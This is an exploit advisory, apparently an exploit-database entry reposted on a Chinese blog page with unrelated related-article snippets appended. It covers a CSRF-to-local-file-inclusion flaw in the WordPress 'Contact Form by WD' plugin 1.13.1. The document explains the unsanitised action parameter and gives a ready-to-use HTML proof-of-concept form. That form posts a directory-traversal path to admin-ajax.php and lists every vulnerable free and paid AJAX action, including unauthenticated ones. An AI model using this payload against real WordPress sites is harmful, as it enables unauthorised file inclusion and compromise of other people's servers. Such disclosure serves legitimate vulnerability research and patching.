# Exploit Title: Contact Form by WD [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/contact-form-maker
# Version: 1.13.1
# Tested on: WordPress 5.1.1

Description
-----------

Plugin implements the following AJAX actions:

- `manage_fm`
- `get_stats`
- `generete_csv`
- `generete_xml`
- `formmakerwdcaptcha`
- `nopriv_formmakerwdcaptcha`
- `formmakerwdmathcaptcha`
- `nopriv_formmakerwdmathcaptcha`
- `product_option`
- `FormMakerEditCountryinPopup`
- `FormMakerMapEditinPopup`
- `FormMakerIpinfoinPopup`
- `show_matrix`
- `FormMakerSubmits`
- `FormMakerSQLMapping`
- `select_data_from_db`
- `manage`

All of them call the function `form_maker_ajax_fmc`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.

The following AJAX actions are available only for the paid version of
the plugin:

- `paypal_info`
- `checkpaypal`
- `nopriv_checkpaypal`
- `get_frontend_stats`
- `nopriv_get_frontend_stats`
- `frontend_show_map`
- `nopriv_frontend_show_map`
- `frontend_show_matrix`
- `nopriv_frontend_show_matrix`
- `frontend_paypal_info`
- `nopriv_frontend_paypal_info`
- `frontend_generate_csv`
- `nopriv_frontend_generate_csv`
- `frontend_generate_xml`
- `nopriv_frontend_generate_xml`
- `FMShortocde`
- `wd_bp_dismiss`

In both free and paid versions, there are no-privilege actions that can
be exploited by unauthenticated users in order to include local files.

------
PoC
```html

 <form method="post"
action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=../../../../../index.php">
<label>AJAX action:
<select name="action">
<optgroup label="Free version">
<option value="FMShortocde_fmc">FMShortocde_fmc</option>
<option value="FormMakerEditCountryinPopup_fmc">FormMakerEditCountryinPopup_fmc</option>
<option value="FormMakerIpinfoinPopup_fmc">FormMakerIpinfoinPopup_fmc</option>
<option value="FormMakerMapEditinPopup_fmc">FormMakerMapEditinPopup_fmc</option>
<option value="FormMakerSQLMapping_fmc">FormMakerSQLMapping_fmc</option>
<option value="FormMakerSubmits_fmc">FormMakerSubmits_fmc</option>
<option value="formmakerwdcaptcha_fmc">formmakerwdcaptcha_fmc</option>
<option value="formmakerwdmathcaptcha_fmc">formmakerwdmathcaptcha_fmc</option>
<option value="frontend_show_matrix_fmc">frontend_show_matrix_fmc</option>
<option value="generete_csv_fmc">generete_csv_fmc</option>
<option value="generete_xml_fmc">generete_xml_fmc</option>
<option value="get_stats_fmc">get_stats_fmc</option>
<option value="manage_fmc">manage_fmc</option>
<option value="manage_fm_fmc">manage_fm_fmc</option>
<option value="nopriv_formmakerwdcaptcha_fmc">nopriv_formmakerwdcaptcha_fmc</option>
<option value="nopriv_formmakerwdmathcaptcha_fmc">nopriv_formmakerwdmathcaptcha_fmc</option>
<option value="product_option_fmc">product_option_fmc</option>
<option value="select_data_from_db_fmc">select_data_from_db_fmc</option>
<option value="wd_bp_dismiss_fmc">wd_bp_dismiss_fmc</option>
</optgroup>
<optgroup label="Pro Version">
<option value="paypal_info_fmc">paypal_info_fmc</option>
<option value="checkpaypal_fmc">checkpaypal_fmc</option>
<option value="nopriv_checkpaypal_fmc">nopriv_checkpaypal_fmc</option>
<option value="nopriv_get_frontend_stats_fmc">nopriv_get_frontend_stats_fmc</option>
<option value="get_frontend_stats_fmc">get_frontend_stats_fmc</option>
<option value="frontend_show_map_fmc">frontend_show_map_fmc</option>
<option value="nopriv_frontend_show_map_fmc">nopriv_frontend_show_map_fmc</option>
<option value="show_matrix_fmc">show_matrix_fmc</option>
<option value="nopriv_frontend_show_matrix_fmc">nopriv_frontend_show_matrix_fmc</option>
<option value="frontend_paypal_info_fmc">frontend_paypal_info_fmc</option>
<option value="nopriv_frontend_paypal_info_fmc">nopriv_frontend_paypal_info_fmc</option>
<option value="frontend_generate_csv_fmc">frontend_generate_csv_fmc</option>
<option value="nopriv_frontend_generate_csv_fmc">nopriv_frontend_generate_csv_fmc</option>
<option value="frontend_generate_xml_fmc">frontend_generate_xml_fmc</option>
<option value="nopriv_frontend_generate_xml_fmc">nopriv_frontend_generate_xml_fmc</option>
</optgroup>
</select>
</label>
<button type="submit" value="Submit">Submit</button>
</form>

```

WordPress plugin Contact Form [CSRF → LFI] vulnerable 2019-03-17的更多相关文章

  1. WordPress Plugin Contact Form Builder [CSRF → LFI]

    # Exploit Title: Contact Form Builder [CSRF → LFI]# Date: 2019-03-17# Exploit Author: Panagiotis Vag ...

  2. WordPress Plugin Form Maker [CSRF → LFI] vulnerable 2019-03-17

    # Title: Form Maker by WD [CSRF → LFI]# Date: 2019-03-17# Exploit Author: Panagiotis Vagenas# Vendor ...

  3. [2019/03/17#杭师大ACM]赛后总结(被吊锤记)

    前言 和扬子曰大佬和慕容宝宝大佬一组,我压力巨大,而且掌机,累死我了,敲了一个下午的代码,他们两个人因为比我巨就欺负我QwQ. 依旧被二中学军爆锤,我真的好菜,慕容宝宝或者是扬子曰大佬来掌机一定成绩比 ...

  4. WordPress Contact Form 7插件任意文件上传漏洞

    漏洞名称: WordPress Contact Form 7插件任意文件上传漏洞 CNNVD编号: CNNVD-201311-415 发布时间: 2013-11-28 更新时间: 2013-11-28 ...

  5. article2pdf (Wordpress plug-in) Multiple vulnerabilities(CVE-2019-1000031, CVE-2019-1010257)

    Product: article2pdf (Wordpress plug-in)Product Website: https://wordpress.org/plugins/article2pdf/A ...

  6. Contact Form 7邮件发送失败的解决办法

    一.contact form 7无法发送邮件的原因 对mail()函数的不支持. Contact Form 7表单提交失败在使用过程中会出现,归根结底原因在于wordpress主机问题,由于国 内很多 ...

  7. WP Mail SMTP插件解决Contact Form 7表单提交失败问题

    WP Mail SMTP插件解决Contact Form 7表单提交失败问题 WP Mail SMTP是一款非常优秀的解决WordPress主机因为不支持或者是禁用了mail()函数,导致无法实现在线 ...

  8. contact form 7如何搭配Akismet过滤垃圾邮件

    contact form 7有很多站长在用,但是经常会有一些垃圾邮件进来,如何过滤呢?两个方法:1.表单提交启用验证码功能,很多垃圾邮件是用软件扫相应的端口,然后批量群发,如果用验证码了可以过滤很大一 ...

  9. [转]jQuery Popup Login and Contact Form

    本文转自:http://www.formget.com/jquery-popup-form/ Pop up forms are the smart way to present your site. ...

随机推荐

  1. redis报错:java.net.SocketException: Broken pipe (Write failed); nested exception is redis.clients.jedis.exceptions.JedisConnectionException: java.net.SocketException: Broken pipe (Write failed)

    最近写了一个服务通过springboot构建,里面使用了redis作为缓存,发布到服务器运行成功,但是有时候会报redis的错误:org.springframework.data.redis.Redi ...

  2. springboot 2.1.4 源码默认logback-spring.xml

    logback-spring.xml 是由几个文件组成的,整个的一个xml为 <?xml version="1.0" encoding="UTF-8"?& ...

  3. HTML之表单

    目录 表单的结构 get方式与post方式 输入 单行文本输入框 提交按钮和重置按钮 密码输入框 复选框 单选按钮 图像按钮 文本选择输入框 隐藏框 多行文本输入框 下拉列表框 新增输入元素 新增其他 ...

  4. JS对JSON对象遍历输出的时候真的是按照顺序输出吗?

    对象的遍历输出并不是按照对象属性定义顺序来的,那么是按照什么规则来的呢,仔细深入研究你会发现,这还跟浏览器有关系,Chrome跟IE是不一样的,所以给出以下结论: Chrome Opera 的 Jav ...

  5. nginx的概念与几种负载均衡算法

    Nginx的背景 Nginx和Apache一样都是一种WEB服务器.基于REST架构风格,以URI(Uniform Resources Identifier,统一资源描述符)或URL(Uniform ...

  6. Laravel-任务调度

    简介Cron 是 UNIX.SOLARIS.LINUX 下的一个十分有用的工具,通过 Cron 脚本能使计划任务定期地在系统后台自动运行.这种计划任务在 UNIX.SOLARIS.LINUX下术语为 ...

  7. P2023 [AHOI2009]维护序列

    震惊,双倍经验,依旧是线段树的乘法修改 #include<bits/stdc++.h> using namespace std; ; struct sege_tree { int l; i ...

  8. Module build failed: Error: Cannot find module 'babel-runtime/core-js/get-it

    npm i babel-loader@7.1.5 -D

  9. MariaDB多实例的安装配置

    初始化数据库: mysql_install_db  --basedir=/var/lib/mysql --datadir=/data/3306/data --user=mysql mysql_inst ...

  10. git 远程新建分支后,本地查看不到

    使用以下命令同步 git remote # 列出所有远程主机git remote update origin --prune # 更新远程主机origin 整理分支git branch -r # 列出 ...